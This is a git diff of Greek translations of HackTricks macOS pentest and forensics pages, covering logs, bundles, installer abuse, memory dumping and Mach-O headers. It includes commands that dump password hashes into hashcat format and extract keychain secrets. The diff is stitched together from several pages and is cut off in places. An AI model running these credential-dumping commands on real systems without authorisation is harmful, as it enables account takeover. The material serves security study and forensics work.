- **`/var/log/system.log`**: Κύριο αρχείο καταγραφής των συστημάτων OSX. το com.apple.syslogd.plist είναι υπεύθυνο για την εκτέλεση της καταγραφής συστήματος (μπορείτε να ελέγξετε αν είναι απενεργοποιημένο αναζητώντας "com.apple.syslogd" στο `launchctl list`).
|
||||
- **`/private/var/log/asl/*.asl`**: Αυτά είναι τα Apple System Logs που μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες.
|
||||
- **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: Αποθηκεύει πρόσφατα προσπελάσιμα αρχεία και εφαρμογές μέσω του "Finder".
|
||||
- **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Αποθηκεύει στοιχεία που θα εκκινούν κατά την εκκίνηση του συστήματος.
|
||||
- **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: Αποθηκεύει πρόσφατα προσπελασμένα αρχεία και εφαρμογές μέσω του "Finder".
|
||||
- **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Αποθηκεύει στοιχεία που θα εκκινούνται κατά την εκκίνηση του συστήματος.
|
||||
- **`$HOME/Library/Logs/DiskUtility.log`**: Αρχείο καταγραφής για την εφαρμογή DiskUtility (πληροφορίες σχετικά με δίσκους, συμπεριλαμβανομένων των USB).
|
||||
- **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: Δεδομένα σχετικά με τα ασύρματα σημεία πρόσβασης.
|
||||
- **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: Λίστα με τους απενεργοποιημένους δαίμονες.
|
||||
|
||||
@ -4,11 +4,11 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Τα bundles στο macOS λειτουργούν ως δοχεία για μια ποικιλία πόρων, συμπεριλαμβανομένων εφαρμογών, βιβλιοθηκών και άλλων απαραίτητων αρχείων, κάνοντάς τα να εμφανίζονται ως ενιαία αντικείμενα στο Finder, όπως τα γνωστά αρχεία `*.app`. Το πιο συχνά συναντώμενο bundle είναι το `.app` bundle, αν και άλλοι τύποι όπως το `.framework`, `.systemextension` και `.kext` είναι επίσης διαδεδομένοι.
|
||||
Τα bundles στο macOS λειτουργούν ως δοχεία για μια ποικιλία πόρων, συμπεριλαμβανομένων εφαρμογών, βιβλιοθηκών και άλλων απαραίτητων αρχείων, κάνοντάς τα να εμφανίζονται ως ενιαία αντικείμενα στο Finder, όπως τα γνωστά αρχεία `*.app`. Το πιο συχνά συναντώμενο bundle είναι το `.app` bundle, αν και άλλοι τύποι όπως `.framework`, `.systemextension` και `.kext` είναι επίσης διαδεδομένοι.
|
||||
|
||||
### Essential Components of a Bundle
|
||||
|
||||
Μέσα σε ένα bundle, ιδιαίτερα μέσα στον φάκελο `<application>.app/Contents/`, φιλοξενούνται διάφοροι σημαντικοί πόροι:
|
||||
Μέσα σε ένα bundle, ιδιαίτερα στον φάκελο `<application>.app/Contents/`, φιλοξενούνται διάφοροι σημαντικοί πόροι:
|
||||
|
||||
- **\_CodeSignature**: Αυτός ο φάκελος αποθηκεύει λεπτομέρειες υπογραφής κώδικα που είναι ζωτικής σημασίας για την επαλήθευση της ακεραιότητας της εφαρμογής. Μπορείτε να ελέγξετε τις πληροφορίες υπογραφής κώδικα χρησιμοποιώντας εντολές όπως: %%%bash openssl dgst -binary -sha1 /Applications/Safari.app/Contents/Resources/Assets.car | openssl base64 %%%
|
||||
- **MacOS**: Περιέχει το εκτελέσιμο δυαδικό αρχείο της εφαρμογής που εκτελείται κατά την αλληλεπίδραση του χρήστη.
|
||||
@ -27,13 +27,13 @@
|
||||
|
||||
Για να εξερευνήσετε το περιεχόμενο ενός bundle, όπως το `Safari.app`, μπορεί να χρησιμοποιηθεί η εξής εντολή: `bash ls -lR /Applications/Safari.app/Contents`
|
||||
|
||||
Αυτή η εξερεύνηση αποκαλύπτει φακέλους όπως `_CodeSignature`, `MacOS`, `Resources`, και αρχεία όπως το `Info.plist`, καθένα από τα οποία εξυπηρετεί μια μοναδική σκοπιμότητα από την ασφάλιση της εφαρμογής μέχρι τον καθορισμό της διεπαφής χρήστη και των παραμέτρων λειτουργίας.
|
||||
Αυτή η εξερεύνηση αποκαλύπτει φακέλους όπως `_CodeSignature`, `MacOS`, `Resources`, και αρχεία όπως το `Info.plist`, καθένα από τα οποία εξυπηρετεί μια μοναδική σκοπιμότητα από την ασφάλιση της εφαρμογής μέχρι τον καθορισμό της διεπαφής χρήστη και των λειτουργικών παραμέτρων.
|
||||
|
||||
#### Additional Bundle Directories
|
||||
|
||||
Πέρα από τους κοινούς φακέλους, τα bundles μπορεί επίσης να περιλαμβάνουν:
|
||||
|
||||
- **Frameworks**: Περιέχει bundled frameworks που χρησιμοποιούνται από την εφαρμογή. Τα frameworks είναι σαν τα dylibs με επιπλέον πόρους.
|
||||
- **Frameworks**: Περιέχει bundled frameworks που χρησιμοποιούνται από την εφαρμογή. Τα frameworks είναι σαν dylibs με επιπλέον πόρους.
|
||||
- **PlugIns**: Ένας φάκελος για plug-ins και επεκτάσεις που ενισχύουν τις δυνατότητες της εφαρμογής.
|
||||
- **XPCServices**: Περιέχει XPC υπηρεσίες που χρησιμοποιούνται από την εφαρμογή για επικοινωνία εκτός διαδικασίας.
|
||||
|
||||
|
||||
@ -36,7 +36,7 @@ cpio -i < Scripts
|
||||
|
||||
## Βασικές Πληροφορίες DMG
|
||||
|
||||
Τα αρχεία DMG, ή Apple Disk Images, είναι μια μορφή αρχείου που χρησιμοποιείται από το macOS της Apple για εικόνες δίσκων. Ένα αρχείο DMG είναι ουσιαστικά μια **εικόνα δίσκου που μπορεί να προσαρτηθεί** (περιέχει το δικό του σύστημα αρχείων) που περιέχει ακατέργωστα δεδομένα μπλοκ, συνήθως συμπιεσμένα και μερικές φορές κρυπτογραφημένα. Όταν ανοίγετε ένα αρχείο DMG, το macOS **το προσαρτά σαν να ήταν φυσικός δίσκος**, επιτρέποντάς σας να έχετε πρόσβαση στα περιεχόμενά του.
|
||||
Τα αρχεία DMG, ή Apple Disk Images, είναι μια μορφή αρχείου που χρησιμοποιείται από το macOS της Apple για εικόνες δίσκων. Ένα αρχείο DMG είναι ουσιαστικά μια **τοποθετήσιμη εικόνα δίσκου** (περιέχει το δικό του σύστημα αρχείων) που περιέχει ακατέργαστα δεδομένα μπλοκ που συνήθως είναι συμπιεσμένα και μερικές φορές κρυπτογραφημένα. Όταν ανοίγετε ένα αρχείο DMG, το macOS **το τοποθετεί σαν να ήταν φυσικός δίσκος**, επιτρέποντάς σας να έχετε πρόσβαση στα περιεχόμενά του.
|
||||
|
||||
> [!CAUTION]
|
||||
> Σημειώστε ότι οι εγκαταστάτες **`.dmg`** υποστηρίζουν **τόσες πολλές μορφές** που στο παρελθόν μερικές από αυτές που περιείχαν ευπάθειες χρησιμοποιήθηκαν για να αποκτήσουν **εκτέλεση κώδικα πυρήνα**.
|
||||
@ -61,7 +61,7 @@ cpio -i < Scripts
|
||||
|
||||
### AuthorizationExecuteWithPrivileges
|
||||
|
||||
Αυτή είναι μια [δημόσια συνάρτηση](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg) που θα καλέσουν αρκετοί εγκαταστάτες και ενημερωτές για να **εκτελέσουν κάτι ως root**. Αυτή η συνάρτηση δέχεται το **μονοπάτι** του **αρχείου** που θα **εκτελεστεί** ως παράμετρο, ωστόσο, αν ένας επιτιθέμενος μπορούσε να **τροποποιήσει** αυτό το αρχείο, θα μπορούσε να **καταχραστεί** την εκτέλεσή του με root για να **κλιμακώσει τα δικαιώματα**.
|
||||
Αυτή είναι μια [δημόσια συνάρτηση](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg) που θα καλέσουν αρκετοί εγκαταστάτες και ενημερωτές για να **εκτελέσουν κάτι ως root**. Αυτή η συνάρτηση δέχεται το **μονοπάτι** του **αρχείου** που θα **εκτελεστεί** ως παράμετρο, ωστόσο, εάν ένας επιτιθέμενος μπορούσε να **τροποποιήσει** αυτό το αρχείο, θα μπορούσε να **καταχραστεί** την εκτέλεσή του με root για να **κλιμακώσει τα δικαιώματα**.
|
||||
```bash
|
||||
# Breakpoint in the function to check wich file is loaded
|
||||
(lldb) b AuthorizationExecuteWithPrivileges
|
||||
@ -152,9 +152,9 @@ productbuild --distribution dist.xml --package-path myapp.pkg final-installer.pk
|
||||
```
|
||||
## Αναφορές
|
||||
|
||||
- [**DEF CON 27 - Αποσυμπίεση Πακέτων Μια Ματιά Μέσα στα Πακέτα Εγκατάστασης Macos και Κοινές Ασφαλιστικές Αδυναμίες**](https://www.youtube.com/watch?v=iASSG0_zobQ)
|
||||
- [**DEF CON 27 - Αποσυμπίεση Πακέτων Μια Ματιά Μέσα στα Πακέτα Εγκατάστασης macOS και Κοινές Ασφαλιστικές Αδυναμίες**](https://www.youtube.com/watch?v=iASSG0_zobQ)
|
||||
- [**OBTS v4.0: "Ο Άγριος Κόσμος των Εγκαταστάσεων macOS" - Tony Lambert**](https://www.youtube.com/watch?v=Eow5uNHtmIg)
|
||||
- [**DEF CON 27 - Αποσυμπίεση Πακέτων Μια Ματιά Μέσα στα Πακέτα Εγκατάστασης MacOS**](https://www.youtube.com/watch?v=kCXhIYtODBg)
|
||||
- [**DEF CON 27 - Αποσυμπίεση Πακέτων Μια Ματιά Μέσα στα Πακέτα Εγκατάστασης macOS**](https://www.youtube.com/watch?v=kCXhIYtODBg)
|
||||
- [https://redteamrecipe.com/macos-red-teaming?utm_source=pocket_shared#heading-exploiting-installer-packages](https://redteamrecipe.com/macos-red-teaming?utm_source=pocket_shared#heading-exploiting-installer-packages)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -18,13 +18,13 @@
|
||||
|
||||
### Memory Pressure Logs
|
||||
|
||||
Ένα άλλο σημαντικό αρχείο που σχετίζεται με τη μνήμη στα συστήματα MacOS είναι το **καταγραφικό πίεσης μνήμης**. Αυτά τα αρχεία καταγραφής βρίσκονται στο `/var/log` και περιέχουν λεπτομερείς πληροφορίες σχετικά με τη χρήση μνήμης του συστήματος και τα γεγονότα πίεσης. Μπορούν να είναι ιδιαίτερα χρήσιμα για τη διάγνωση προβλημάτων που σχετίζονται με τη μνήμη ή για την κατανόηση του τρόπου διαχείρισης της μνήμης από το σύστημα με την πάροδο του χρόνου.
|
||||
Ένα άλλο σημαντικό αρχείο που σχετίζεται με τη μνήμη στα συστήματα MacOS είναι το **log πίεσης μνήμης**. Αυτά τα logs βρίσκονται στο `/var/log` και περιέχουν λεπτομερείς πληροφορίες σχετικά με τη χρήση μνήμης του συστήματος και τα γεγονότα πίεσης. Μπορούν να είναι ιδιαίτερα χρήσιμα για τη διάγνωση προβλημάτων που σχετίζονται με τη μνήμη ή για την κατανόηση του τρόπου διαχείρισης της μνήμης από το σύστημα με την πάροδο του χρόνου.
|
||||
|
||||
## Dumping memory with osxpmem
|
||||
|
||||
Για να κάνετε dump τη μνήμη σε μια μηχανή MacOS μπορείτε να χρησιμοποιήσετε [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip).
|
||||
|
||||
**Σημείωση**: Οι παρακάτω οδηγίες θα λειτουργήσουν μόνο για Macs με αρχιτεκτονική Intel. Αυτό το εργαλείο είναι πλέον αρχειοθετημένο και η τελευταία έκδοση ήταν το 2017. Το δυαδικό αρχείο που κατεβάζεται χρησιμοποιώντας τις παρακάτω οδηγίες στοχεύει σε επεξεργαστές Intel καθώς η Apple Silicon δεν υπήρχε το 2017. Είναι πιθανό να μπορέσετε να μεταγλωττίσετε το δυαδικό αρχείο για αρχιτεκτονική arm64, αλλά θα πρέπει να το δοκιμάσετε μόνοι σας.
|
||||
**Σημείωση**: Οι παρακάτω οδηγίες θα λειτουργήσουν μόνο για Macs με αρχιτεκτονική Intel. Αυτό το εργαλείο είναι πλέον αρχειοθετημένο και η τελευταία έκδοση ήταν το 2017. Το δυαδικό που κατεβάζεται χρησιμοποιώντας τις παρακάτω οδηγίες στοχεύει σε επεξεργαστές Intel καθώς η Apple Silicon δεν υπήρχε το 2017. Είναι πιθανό να μπορέσετε να συντάξετε το δυαδικό για αρχιτεκτονική arm64, αλλά θα πρέπει να το δοκιμάσετε μόνοι σας.
|
||||
```bash
|
||||
#Dump raw format
|
||||
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
||||
@ -39,7 +39,7 @@ sudo kextutil "/tmp/MacPmem.kext"
|
||||
#Allow the kext in "Security & Privacy --> General"
|
||||
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
||||
```
|
||||
**Άλλα σφάλματα** μπορεί να διορθωθούν **επιτρέποντας τη φόρτωση του kext** στο "Ασφάλεια & Ιδιωτικότητα --> Γενικά", απλά **επιτρέψτε** το.
|
||||
**Άλλες σφάλματα** μπορεί να διορθωθούν **επιτρέποντας τη φόρτωση του kext** στο "Ασφάλεια & Ιδιωτικότητα --> Γενικά", απλά **επιτρέψτε** το.
|
||||
|
||||
Μπορείτε επίσης να χρησιμοποιήσετε αυτήν την **εντολή** για να κατεβάσετε την εφαρμογή, να φορτώσετε το kext και να κάνετε dump τη μνήμη:
|
||||
```bash
|
||||
|
||||
@ -11,9 +11,9 @@
|
||||
```bash
|
||||
for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; fi; done
|
||||
```
|
||||
[**Σενάρια όπως αυτό**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) ή [**αυτό**](https://github.com/octomagon/davegrohl.git) μπορούν να χρησιμοποιηθούν για να μετατρέψουν το hash σε **μορφή hashcat**.
|
||||
[**Σενάρια όπως αυτό**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) ή [**αυτό**](https://github.com/octomagon/davegrohl.git) μπορούν να χρησιμοποιηθούν για να μετατρέψουν το hash σε **μορφή** **hashcat**.
|
||||
|
||||
Μια εναλλακτική one-liner που θα εκτυπώσει τα creds όλων των μη υπηρεσιακών λογαριασμών σε μορφή hashcat `-m 7100` (macOS PBKDF2-SHA512):
|
||||
Μια εναλλακτική one-liner που θα εξάγει τα creds όλων των μη υπηρεσιακών λογαριασμών σε μορφή hashcat `-m 7100` (macOS PBKDF2-SHA512):
|
||||
```bash
|
||||
sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done'
|
||||
```
|
||||
@ -21,7 +21,7 @@ sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex
|
||||
|
||||
### /etc/master.passwd
|
||||
|
||||
Αυτό το αρχείο χρησιμοποιείται **μόνο** όταν το σύστημα εκτελείται σε **μοναδική λειτουργία χρήστη** (οπότε όχι πολύ συχνά).
|
||||
Αυτό το αρχείο χρησιμοποιείται **μόνο** όταν το σύστημα εκτελείται σε **λειτουργία ενός χρήστη** (οπότε όχι πολύ συχνά).
|
||||
|
||||
### Keychain Dump
|
||||
|
||||
@ -43,7 +43,7 @@ security dump-keychain -d #Dump all the info, included secrets (the user will be
|
||||
|
||||
Ένα εργαλείο που ονομάζεται **keychaindump** έχει αναπτυχθεί για να εξάγει κωδικούς πρόσβασης από τα keychains του macOS, αλλά αντιμετωπίζει περιορισμούς σε νεότερες εκδόσεις του macOS όπως το Big Sur, όπως αναφέρεται σε μια [συζήτηση](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760). Η χρήση του **keychaindump** απαιτεί από τον επιτιθέμενο να αποκτήσει πρόσβαση και να αναβαθμίσει τα δικαιώματα σε **root**. Το εργαλείο εκμεταλλεύεται το γεγονός ότι το keychain είναι ξεκλείδωτο από προεπιλογή κατά την είσοδο του χρήστη για ευκολία, επιτρέποντας στις εφαρμογές να έχουν πρόσβαση σε αυτό χωρίς να απαιτείται επανειλημμένα ο κωδικός πρόσβασης του χρήστη. Ωστόσο, αν ένας χρήστης επιλέξει να κλειδώσει το keychain του μετά από κάθε χρήση, το **keychaindump** καθίσταται αναποτελεσματικό.
|
||||
|
||||
**Keychaindump** λειτουργεί στοχεύοντας μια συγκεκριμένη διαδικασία που ονομάζεται **securityd**, την οποία περιγράφει η Apple ως ένα daemon για εξουσιοδότηση και κρυπτογραφικές λειτουργίες, κρίσιμη για την πρόσβαση στο keychain. Η διαδικασία εξαγωγής περιλαμβάνει την αναγνώριση ενός **Master Key** που προέρχεται από τον κωδικό πρόσβασης του χρήστη. Αυτό το κλειδί είναι απαραίτητο για την ανάγνωση του αρχείου keychain. Για να εντοπίσει το **Master Key**, το **keychaindump** σ scans τη μνήμη του **securityd** χρησιμοποιώντας την εντολή `vmmap`, αναζητώντας πιθανά κλειδιά σε περιοχές που έχουν σημαδευτεί ως `MALLOC_TINY`. Η ακόλουθη εντολή χρησιμοποιείται για να επιθεωρήσει αυτές τις τοποθεσίες μνήμης:
|
||||
Το **keychaindump** λειτουργεί στοχεύοντας μια συγκεκριμένη διαδικασία που ονομάζεται **securityd**, την οποία περιγράφει η Apple ως ένα daemon για εξουσιοδότηση και κρυπτογραφικές λειτουργίες, κρίσιμη για την πρόσβαση στο keychain. Η διαδικασία εξαγωγής περιλαμβάνει την αναγνώριση ενός **Master Key** που προέρχεται από τον κωδικό πρόσβασης του χρήστη. Αυτό το κλειδί είναι απαραίτητο για την ανάγνωση του αρχείου keychain. Για να εντοπίσει το **Master Key**, το **keychaindump** σ scans τη μνήμη του **securityd** χρησιμοποιώντας την εντολή `vmmap`, αναζητώντας πιθανά κλειδιά σε περιοχές που έχουν σημαδευτεί ως `MALLOC_TINY`. Η ακόλουθη εντολή χρησιμοποιείται για να επιθεωρήσει αυτές τις τοποθεσίες μνήμης:
|
||||
```bash
|
||||
sudo vmmap <securityd PID> | grep MALLOC_TINY
|
||||
```
|
||||
@ -53,7 +53,7 @@ sudo ./keychaindump
|
||||
```
|
||||
### chainbreaker
|
||||
|
||||
[**Chainbreaker**](https://github.com/n0fate/chainbreaker) μπορεί να χρησιμοποιηθεί για την εξαγωγή των παρακάτω τύπων πληροφοριών από ένα OSX keychain με τρόπο που είναι νομικά αποδεκτός:
|
||||
[**Chainbreaker**](https://github.com/n0fate/chainbreaker) μπορεί να χρησιμοποιηθεί για να εξάγει τους παρακάτω τύπους πληροφοριών από ένα OSX keychain με εγκληματολογικά σωστό τρόπο:
|
||||
|
||||
- Hashed Keychain password, κατάλληλο για cracking με [hashcat](https://hashcat.net/hashcat/) ή [John the Ripper](https://www.openwall.com/john/)
|
||||
- Internet Passwords
|
||||
@ -145,7 +145,7 @@ for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.s
|
||||
```
|
||||
## Προτιμήσεις
|
||||
|
||||
Στις εφαρμογές macOS, οι προτιμήσεις βρίσκονται στο **`$HOME/Library/Preferences`** και στο iOS βρίσκονται στο `/var/mobile/Containers/Data/Application/<UUID>/Library/Preferences`.
|
||||
Στις εφαρμογές macOS, οι προτιμήσεις βρίσκονται στο **`$HOME/Library/Preferences`** και στο iOS είναι στο `/var/mobile/Containers/Data/Application/<UUID>/Library/Preferences`.
|
||||
|
||||
Στο macOS, το εργαλείο cli **`defaults`** μπορεί να χρησιμοποιηθεί για **να τροποποιήσει το αρχείο Προτιμήσεων**.
|
||||
|
||||
@ -154,7 +154,7 @@ for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.s
|
||||
## OpenDirectory permissions.plist
|
||||
|
||||
Το αρχείο `/System/Library/OpenDirectory/permissions.plist` περιέχει δικαιώματα που εφαρμόζονται σε χαρακτηριστικά κόμβων και είναι προστατευμένο από το SIP.\
|
||||
Αυτό το αρχείο παραχωρεί δικαιώματα σε συγκεκριμένους χρήστες με UUID (και όχι uid) ώστε να μπορούν να έχουν πρόσβαση σε συγκεκριμένες ευαίσθητες πληροφορίες όπως `ShadowHashData`, `HeimdalSRPKey` και `KerberosKeys` μεταξύ άλλων:
|
||||
Αυτό το αρχείο παρέχει δικαιώματα σε συγκεκριμένους χρήστες με UUID (και όχι uid) ώστε να μπορούν να έχουν πρόσβαση σε συγκεκριμένες ευαίσθητες πληροφορίες όπως `ShadowHashData`, `HeimdalSRPKey` και `KerberosKeys` μεταξύ άλλων:
|
||||
```xml
|
||||
[...]
|
||||
<key>dsRecTypeStandard:Computers</key>
|
||||
@ -217,8 +217,8 @@ common: com.apple.security.octagon.joined-with-bottle
|
||||
|
||||
### Ειδοποιήσεις Apple Push (APN)
|
||||
|
||||
Σε αυτή την περίπτωση, οι εφαρμογές μπορούν να εγγραφούν για **θέματα**. Ο πελάτης θα δημιουργήσει ένα διακριτικό επικοινωνώντας με τους διακομιστές της Apple μέσω του **`apsd`**.\
|
||||
Στη συνέχεια, οι πάροχοι θα έχουν επίσης δημιουργήσει ένα διακριτικό και θα μπορούν να συνδεθούν με τους διακομιστές της Apple για να στείλουν μηνύματα στους πελάτες. Αυτά τα μηνύματα θα γίνονται τοπικά δεκτά από το **`apsd`** το οποίο θα προωθήσει την ειδοποίηση στην εφαρμογή που την περιμένει.
|
||||
Σε αυτή την περίπτωση, οι εφαρμογές μπορούν να εγγραφούν για **θέματα**. Ο πελάτης θα δημιουργήσει ένα token επικοινωνώντας με τους διακομιστές της Apple μέσω του **`apsd`**.\
|
||||
Στη συνέχεια, οι πάροχοι θα έχουν επίσης δημιουργήσει ένα token και θα μπορούν να συνδεθούν με τους διακομιστές της Apple για να στείλουν μηνύματα στους πελάτες. Αυτά τα μηνύματα θα γίνονται τοπικά δεκτά από το **`apsd`** το οποίο θα προωθήσει την ειδοποίηση στην εφαρμογή που την περιμένει.
|
||||
|
||||
Οι προτιμήσεις βρίσκονται στο `/Library/Preferences/com.apple.apsd.plist`.
|
||||
|
||||
@ -230,12 +230,12 @@ sudo sqlite3 /Library/Application\ Support/ApplePushService/aps.db
|
||||
```bash
|
||||
/System/Library/PrivateFrameworks/ApplePushService.framework/apsctl status
|
||||
```
|
||||
## User Notifications
|
||||
## Ειδοποιήσεις Χρήστη
|
||||
|
||||
Αυτές είναι οι ειδοποιήσεις που θα πρέπει να βλέπει ο χρήστης στην οθόνη:
|
||||
|
||||
- **`CFUserNotification`**: Αυτή η API παρέχει έναν τρόπο να εμφανίζεται στην οθόνη ένα αναδυόμενο παράθυρο με ένα μήνυμα.
|
||||
- **The Bulletin Board**: Αυτό εμφανίζει σε iOS μια διαφήμιση που εξαφανίζεται και θα αποθηκευτεί στο Κέντρο Ειδοποιήσεων.
|
||||
- **`NSUserNotificationCenter`**: Αυτό είναι το bulletin board του iOS στο MacOS. Η βάση δεδομένων με τις ειδοποιήσεις βρίσκεται στο `/var/folders/<user temp>/0/com.apple.notificationcenter/db2/db`
|
||||
- **Ο Πίνακας Ανακοινώσεων**: Αυτός εμφανίζει σε iOS μια διαφήμιση που εξαφανίζεται και θα αποθηκευτεί στο Κέντρο Ειδοποιήσεων.
|
||||
- **`NSUserNotificationCenter`**: Αυτός είναι ο πίνακας ανακοινώσεων iOS στο MacOS. Η βάση δεδομένων με τις ειδοποιήσεις βρίσκεται στο `/var/folders/<user temp>/0/com.apple.notificationcenter/db2/db`
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,78 +1,6 @@
|
||||
# macOS Universal binaries & Mach-O Format
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Τα δυαδικά αρχεία Mac OS συνήθως είναι συμπιεσμένα ως **universal binaries**. Ένα **universal binary** μπορεί να **υποστηρίζει πολλαπλές αρχιτεκτονικές στο ίδιο αρχείο**.
|
||||
|
||||
Αυτά τα δυαδικά αρχεία ακολουθούν τη **δομή Mach-O** που βασικά αποτελείται από:
|
||||
|
||||
- Header
|
||||
- Load Commands
|
||||
- Data
|
||||
|
||||
.png>)
|
||||
|
||||
## Fat Header
|
||||
|
||||
Αναζητήστε το αρχείο με: `mdfind fat.h | grep -i mach-o | grep -E "fat.h$"`
|
||||
|
||||
<pre class="language-c"><code class="lang-c"><strong>#define FAT_MAGIC 0xcafebabe
|
||||
</strong><strong>#define FAT_CIGAM 0xbebafeca /* NXSwapLong(FAT_MAGIC) */
|
||||
</strong>
|
||||
struct fat_header {
|
||||
<strong> uint32_t magic; /* FAT_MAGIC ή FAT_MAGIC_64 */
|
||||
</strong><strong> uint32_t nfat_arch; /* αριθμός δομών που ακολουθούν */
|
||||
</strong>};
|
||||
|
||||
struct fat_arch {
|
||||
cpu_type_t cputype; /* καθοριστής cpu (int) */
|
||||
cpu_subtype_t cpusubtype; /* καθοριστής μηχανής (int) */
|
||||
uint32_t offset; /* αρχείο offset σε αυτό το αντικείμενο αρχείο */
|
||||
uint32_t size; /* μέγεθος αυτού του αντικειμένου αρχείου */
|
||||
uint32_t align; /* ευθυγράμμιση ως δύναμη του 2 */
|
||||
};
|
||||
</code></pre>
|
||||
|
||||
Η κεφαλίδα έχει τα **magic** bytes ακολουθούμενα από τον **αριθμό** των **archs** που περιέχει το αρχείο (`nfat_arch`) και κάθε αρχιτεκτονική θα έχει μια δομή `fat_arch`.
|
||||
|
||||
Ελέγξτε το με:
|
||||
|
||||
<pre class="language-shell-session"><code class="lang-shell-session">% file /bin/ls
|
||||
/bin/ls: Mach-O universal binary με 2 αρχιτεκτονικές: [x86_64:Mach-O 64-bit executable x86_64] [arm64e:Mach-O 64-bit executable arm64e]
|
||||
/bin/ls (για αρχιτεκτονική x86_64): Mach-O 64-bit executable x86_64
|
||||
/bin/ls (για αρχιτεκτονική arm64e): Mach-O 64-bit executable arm64e
|
||||
|
||||
% otool -f -v /bin/ls
|
||||
Fat headers
|
||||
fat_magic FAT_MAGIC
|
||||
<strong>nfat_arch 2
|
||||
</strong><strong>architecture x86_64
|
||||
</strong> cputype CPU_TYPE_X86_64
|
||||
cpusubtype CPU_SUBTYPE_X86_64_ALL
|
||||
capabilities 0x0
|
||||
<strong> offset 16384
|
||||
</strong><strong> size 72896
|
||||
</strong> align 2^14 (16384)
|
||||
<strong>architecture arm64e
|
||||
</strong> cputype CPU_TYPE_ARM64
|
||||
cpusubtype CPU_SUBTYPE_ARM64E
|
||||
capabilities PTR_AUTH_VERSION USERSPACE 0
|
||||
<strong> offset 98304
|
||||
</strong><strong> size 88816
|
||||
</strong> align 2^14 (16384)
|
||||
</code></pre>
|
||||
|
||||
ή χρησιμοποιώντας το εργαλείο [Mach-O View](https://sourceforge.net/projects/machoview/):
|
||||
|
||||
<figure><img src="../../../images/image (1094).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Όπως μπορεί να σκέφτεστε, συνήθως ένα universal binary που έχει συμπιεστεί για 2 αρχιτεκτονικές **διπλασιάζει το μέγεθος** ενός που έχει συμπιεστεί μόνο για 1 αρχιτεκτονική.
|
||||
|
||||
## **Mach-O Header**
|
||||
|
||||
Η κεφαλίδα περιέχει βασικές πληροφορίες σχετικά με το αρχείο, όπως τα magic bytes για να το αναγνωρίσει ως αρχείο Mach-O και πληροφορίες σχετικά με την αρχιτεκτονική στόχο. Μπορείτε να το βρείτε σε: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
|
||||
{{#
|
||||
```c
|
||||
#define MH_MAGIC 0xfeedface /* the mach magic number */
|
||||
#define MH_CIGAM 0xcefaedfe /* NXSwapInt(MH_MAGIC) */
|
||||
@ -99,9 +27,9 @@ uint32_t flags; /* flags */
|
||||
uint32_t reserved; /* reserved */
|
||||
};
|
||||
```
|
||||
### Mach-O File Types
|
||||
### Mach-O Τύποι Αρχείων
|
||||
|
||||
Υπάρχουν διάφοροι τύποι αρχείων, μπορείτε να τους βρείτε καθορισμένους στον [**κώδικα πηγής για παράδειγμα εδώ**](https://opensource.apple.com/source/xnu/xnu-2050.18.24/EXTERNAL_HEADERS/mach-o/loader.h). Οι πιο σημαντικοί είναι:
|
||||
Υπάρχουν διάφοροι τύποι αρχείων, μπορείτε να τους βρείτε καθορισμένους στον [**πηγαίο κώδικα για παράδειγμα εδώ**](https://opensource.apple.com/source/xnu/xnu-2050.18.24/EXTERNAL_HEADERS/mach-o/loader.h). Οι πιο σημαντικοί είναι:
|
||||
|
||||
- `MH_OBJECT`: Μεταθέσιμο αρχείο αντικειμένου (ενδιάμεσα προϊόντα της μεταγλώττισης, όχι εκτελέσιμα ακόμα).
|
||||
- `MH_EXECUTE`: Εκτελέσιμα αρχεία.
|
||||
@ -131,7 +59,7 @@ MH_MAGIC_64 ARM64 E USR00 EXECUTE 19 1728 NOUNDEFS DY
|
||||
- `MH_NOUNDEFS`: Χωρίς μη καθορισμένες αναφορές (πλήρως συνδεδεμένο)
|
||||
- `MH_DYLDLINK`: Σύνδεση Dyld
|
||||
- `MH_PREBOUND`: Δυναμικές αναφορές προδεσμευμένες.
|
||||
- `MH_SPLIT_SEGS`: Το αρχείο διαχωρίζει τα r/o και r/w τμήματα.
|
||||
- `MH_SPLIT_SEGS`: Το αρχείο διαχωρίζει τα τμήματα r/o και r/w.
|
||||
- `MH_WEAK_DEFINES`: Το δυαδικό έχει αδύνατα καθορισμένα σύμβολα
|
||||
- `MH_BINDS_TO_WEAK`: Το δυαδικό χρησιμοποιεί αδύνατα σύμβολα
|
||||
- `MH_ALLOW_STACK_EXECUTION`: Κάνει τη στοίβα εκτελέσιμη
|
||||
